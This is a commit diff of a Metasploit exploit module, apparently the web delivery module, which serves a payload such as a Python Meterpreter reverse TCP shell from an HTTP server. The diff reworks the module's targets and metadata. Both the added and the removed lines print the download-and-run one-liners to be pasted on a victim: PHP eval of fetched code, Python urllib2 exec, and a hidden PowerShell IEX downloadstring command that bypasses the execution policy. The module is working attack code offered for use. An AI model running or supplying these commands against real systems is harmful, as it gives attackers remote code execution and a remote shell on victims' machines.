6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
- Rank = NormalRanking
9
+ Rank = ManualRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpServer
12
12
@@ -30,32 +30,24 @@ def initialize(info = {})
30
30
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
31
31
] ,
32
32
'DefaultOptions' =>
33
- {
34
- 'Payload' => 'python/meterpreter/reverse_tcp'
35
- } ,
33
+ {
34
+ 'Payload' => 'python/meterpreter/reverse_tcp'
35
+ } ,
36
36
'References' =>
37
37
[
38
38
[ 'URL' , 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
39
39
[ 'URL' , 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
40
40
[ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
41
41
[ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
42
42
] ,
43
- 'Platform' => %w{ py php win } ,
43
+ 'Platform' => %w{ python php win } ,
44
44
'Targets' =>
45
45
[
46
- [ 'Python_win ' , {
46
+ [ 'Python ' , {
47
47
'Platform' => 'py' ,
48
48
'Arch' => ARCH_PYTHON
49
49
} ] ,
50
- [ 'Python_linux' , {
51
- 'Platform' => 'py' ,
52
- 'Arch' => ARCH_PYTHON
53
- } ] ,
54
- [ 'PHP_win' , {
55
- 'Platform' => 'php' ,
56
- 'Arch' => ARCH_PHP
57
- } ] ,
58
- [ 'PHP_linux' , {
50
+ [ 'PHP' , {
59
51
'Platform' => 'php' ,
60
52
'Arch' => ARCH_PHP
61
53
} ] ,
@@ -69,16 +61,16 @@ def initialize(info = {})
69
61
} ] ,
70
62
] ,
71
63
'DefaultTarget' => 0 ,
72
- 'DisclosureDate' => 'N/A '
64
+ 'DisclosureDate' => 'Jul 19 2013 '
73
65
) )
74
66
end
75
67
76
68
def on_request_uri ( cli , request )
77
69
print_status ( "Delivering Payload" )
78
70
if ( target . name . include? "PSH" )
79
- data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
71
+ data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
80
72
else
81
- data = %Q|#{ payload . encoded } |
73
+ data = %Q|#{ payload . encoded } |
82
74
end
83
75
send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
84
76
end
@@ -87,18 +79,13 @@ def primer
87
79
url = get_uri ( )
88
80
print_status ( "Run the following command on the target machine:" )
89
81
case target . name
90
- when "PHP_linux"
91
- print_line ( "php -r \" eval(file_get_contents('#{ url } '));\" " )
92
- when "PHP_win"
93
- print_line ( "php.exe -r \" eval(file_get_contents('#{ url } '));\" " )
94
- when "Python_linux"
95
- print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
96
- when "Python_win"
97
- print_line ( "python.exe -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
98
- when "PSH"
99
- download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
100
- print_line ( "powershell.exe -w hidden -nop -ep bypass -c \" #{ download_and_run } \" " )
82
+ when "PHP"
83
+ print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
84
+ when "Python"
85
+ print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
86
+ when "PSH_x86" , "PSH_x64"
87
+ download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
88
+ print_line ( "powershell.exe -w hidden -nop -ep bypass -c \" #{ download_and_run } \" " )
101
89
end
102
90
end
103
- end
104
-
91
+ end
0 commit comments